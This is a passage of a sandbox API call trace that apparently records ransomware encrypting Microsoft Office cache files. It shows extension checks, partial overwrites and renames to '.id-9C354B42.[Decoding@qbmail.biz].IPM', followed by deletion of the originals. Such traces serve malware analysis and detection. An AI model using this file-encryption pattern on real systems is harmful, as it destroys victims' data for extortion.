Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0084.492] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0084.492] lstrlenW (lpString=".doc") returned 4 [0084.492] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0084.492] lstrlenW (lpString=".docx") returned 5 [0084.492] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0084.492] lstrlenW (lpString=".pdf") returned 4 [0084.492] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0084.492] lstrlenW (lpString=".xls") returned 4 [0084.492] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0084.492] lstrlenW (lpString=".xlsx") returned 5 [0084.492] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0084.492] lstrlenW (lpString=".ppt") returned 4 [0084.492] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0084.492] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0084.492] lstrlenW (lpString=".zip") returned 4 [0084.492] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0084.492] lstrlenW (lpString=".rar") returned 4 [0084.492] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0084.492] lstrlenW (lpString=".bz2") returned 4 [0084.492] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0084.492] lstrlenW (lpString=".7z") returned 3 [0084.492] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0084.492] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0084.492] lstrlenW (lpString=".dbf") returned 4 [0084.492] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0084.492] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0084.492] lstrlenW (lpString=".1cd") returned 4 [0084.493] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0084.493] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0084.493] lstrlenW (lpString=".jpg") returned 4 [0084.493] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0084.493] lstrcmpiW (lpString1=".msi", lpString2=".IPM") returned 1 [0084.493] lstrlenW (lpString="Proof.msi") returned 9 [0084.493] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0084.726] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=881152) returned 1 [0084.726] CloseHandle (hObject=0x1f8) returned 1 [0084.726] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020 [0084.727] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0084.727] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0084.727] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.727] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.727] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0084.727] GetLastError () returned 0x0 [0084.727] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x316fed4*=0xd7200, lpOverlapped=0x0) returned 1 [0085.083] WriteFile (in: hFile=0x1d0, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xd7210, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x316fc9c*=0xd7210, lpOverlapped=0x0) returned 1 [0085.174] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0085.175] WriteFile (in: hFile=0x1d0, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0085.175] SetEndOfFile (hFile=0x1d0) returned 1 [0085.550] CloseHandle (hObject=0x1d0) returned 1 [0085.562] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0085.562] SetEndOfFile (hFile=0x1f8) returned 1 [0085.577] CloseHandle (hObject=0x1f8) returned 1 [0085.577] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0085.578] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 1 [0085.578] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0085.578] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0085.578] lstrlenW (lpString=".doc") returned 4 [0085.578] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0085.578] lstrlenW (lpString=".docx") returned 5 [0085.578] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0085.578] lstrlenW (lpString=".pdf") returned 4 [0085.579] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0085.579] lstrlenW (lpString=".xls") returned 4 [0085.579] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0085.579] lstrlenW (lpString=".xlsx") returned 5 [0085.579] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0085.579] lstrlenW (lpString=".ppt") returned 4 [0085.579] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0085.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0085.579] lstrlenW (lpString=".zip") returned 4 [0085.579] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0085.579] lstrlenW (lpString=".rar") returned 4 [0085.579] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0085.579] lstrlenW (lpString=".bz2") returned 4 [0085.579] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0085.579] lstrlenW (lpString=".7z") returned 3 [0085.579] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0085.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0085.579] lstrlenW (lpString=".dbf") returned 4 [0085.579] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0085.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0085.580] lstrlenW (lpString=".1cd") returned 4 [0085.580] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0085.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0085.580] lstrlenW (lpString=".jpg") returned 4 [0085.580] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0085.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0085.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0085.580] lstrlenW (lpString=".doc") returned 4 [0085.580] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0085.580] lstrlenW (lpString=".docx") returned 5 [0085.580] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0085.580] lstrlenW (lpString=".pdf") returned 4 [0085.580] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0085.580] lstrlenW (lpString=".xls") returned 4 [0085.580] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0085.580] lstrlenW (lpString=".xlsx") returned 5 [0085.580] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0085.580] lstrlenW (lpString=".ppt") returned 4 [0085.581] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0085.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0085.581] lstrlenW (lpString=".zip") returned 4 [0085.581] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0085.581] lstrlenW (lpString=".rar") returned 4 [0085.581] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0085.581] lstrlenW (lpString=".bz2") returned 4 [0085.581] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0085.581] lstrlenW (lpString=".7z") returned 3 [0085.581] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0085.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0085.581] lstrlenW (lpString=".dbf") returned 4 [0085.581] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0085.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0085.581] lstrlenW (lpString=".1cd") returned 4 [0085.581] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0085.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0085.581] lstrlenW (lpString=".jpg") returned 4 [0085.581] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0085.582] lstrcmpiW (lpString1=".cab", lpString2=".IPM") returned -1 [0085.582] lstrlenW (lpString="Proof.cab") returned 9 [0085.582] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0085.582] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=21064532) returned 1 [0085.582] CloseHandle (hObject=0x1f8) returned 1 [0086.190] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0086.190] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0086.190] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0086.346] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0086.346] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc6c | out: lpNewFilePointer=0x0) returned 1 [0086.346] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc2c | out: lpNewFilePointer=0x0) returned 1 [0086.346] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x316fc38*=0x40000, lpOverlapped=0x0) returned 1 [0086.692] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x316fc2c | out: lpNewFilePointer=0x0) returned 1 [0086.698] ReadFile (in: hFile=0x1c4, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x316fc38*=0x40000, lpOverlapped=0x0) returned 1 [0086.775] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x316fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0086.775] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x316fc2c | out: lpNewFilePointer=0x0) returned 1 [0086.775] ReadFile (in: hFile=0x1c4, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x316fc38*=0x40000, lpOverlapped=0x0) returned 1 [0086.826] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0086.826] WriteFile (in: hFile=0x1c4, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x316fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x316fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0087.055] SetEndOfFile (hFile=0x1c4) returned 1 [0087.055] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40000) returned 0x3f03fd8 [0087.211] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc7c | out: lpNewFilePointer=0x0) returned 1 [0087.212] WriteFile (in: hFile=0x1c4, lpBuffer=0x3f03fd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f03fd8*, lpNumberOfBytesWritten=0x316fc88*=0x40000, lpOverlapped=0x0) returned 1 [0087.253] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x316fc7c | out: lpNewFilePointer=0x0) returned 1 [0087.253] WriteFile (in: hFile=0x1c4, lpBuffer=0x3f03fd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f03fd8*, lpNumberOfBytesWritten=0x316fc88*=0x40000, lpOverlapped=0x0) returned 1 [0087.254] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x316fc7c | out: lpNewFilePointer=0x0) returned 1 [0087.254] WriteFile (in: hFile=0x1c4, lpBuffer=0x3f03fd8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f03fd8*, lpNumberOfBytesWritten=0x316fc88*=0x40000, lpOverlapped=0x0) returned 1 [0087.257] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3f03fd8 | out: hHeap=0x5d0000) returned 1 [0087.257] CloseHandle (hObject=0x1c4) returned 1 [0093.691] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0093.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.691] lstrlenW (lpString=".doc") returned 4 [0093.691] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0093.691] lstrlenW (lpString=".docx") returned 5 [0093.691] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0093.691] lstrlenW (lpString=".pdf") returned 4 [0093.691] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0093.691] lstrlenW (lpString=".xls") returned 4 [0093.691] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0093.691] lstrlenW (lpString=".xlsx") returned 5 [0093.691] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0093.691] lstrlenW (lpString=".ppt") returned 4 [0093.691] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0093.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.691] lstrlenW (lpString=".zip") returned 4 [0093.692] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0093.692] lstrlenW (lpString=".rar") returned 4 [0093.692] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0093.692] lstrlenW (lpString=".bz2") returned 4 [0093.692] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0093.692] lstrlenW (lpString=".7z") returned 3 [0093.692] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0093.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.692] lstrlenW (lpString=".dbf") returned 4 [0093.692] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0093.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.692] lstrlenW (lpString=".1cd") returned 4 [0093.692] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0093.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.692] lstrlenW (lpString=".jpg") returned 4 [0093.692] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0093.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.692] lstrlenW (lpString=".doc") returned 4 [0093.692] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0093.692] lstrlenW (lpString=".docx") returned 5 [0093.692] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0093.692] lstrlenW (lpString=".pdf") returned 4 [0093.692] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0093.692] lstrlenW (lpString=".xls") returned 4 [0093.692] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0093.693] lstrlenW (lpString=".xlsx") returned 5 [0093.693] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0093.693] lstrlenW (lpString=".ppt") returned 4 [0093.693] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0093.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.693] lstrlenW (lpString=".zip") returned 4 [0093.693] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0093.693] lstrlenW (lpString=".rar") returned 4 [0093.693] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0093.693] lstrlenW (lpString=".bz2") returned 4 [0093.693] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0093.693] lstrlenW (lpString=".7z") returned 3 [0093.693] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0093.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.693] lstrlenW (lpString=".dbf") returned 4 [0093.693] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0093.693] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.693] lstrlenW (lpString=".1cd") returned 4 [0093.694] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0093.694] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0093.694] lstrlenW (lpString=".jpg") returned 4 [0093.694] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0093.694] lstrcmpiW (lpString1=".cab", lpString2=".IPM") returned -1 [0093.694] lstrlenW (lpString="VisioLR.cab") returned 11 [0093.694] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0093.695] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=50823389) returned 1 [0093.695] CloseHandle (hObject=0x1c4) returned 1 [0093.695] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab")) returned 0x2020 [0093.695] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0093.695] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 1 [0093.817] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0093.817] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc6c | out: lpNewFilePointer=0x0) returned 1 [0093.817] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc2c | out: lpNewFilePointer=0x0) returned 1 [0093.817] ReadFile (in: hFile=0x1c4, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x316fc38*=0x40000, lpOverlapped=0x0) returned 1 [0093.831] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x316fc2c | out: lpNewFilePointer=0x0) returned 1 [0093.831] ReadFile (in: hFile=0x1c4, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x316fc38*=0x40000, lpOverlapped=0x0) returned 1 [0093.975] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x316fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0093.975] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x316fc2c | out: lpNewFilePointer=0x0) returned 1 [0093.975] ReadFile (in: hFile=0x1c4, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x316fc38*=0x40000, lpOverlapped=0x0) returned 1 [0094.085] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, 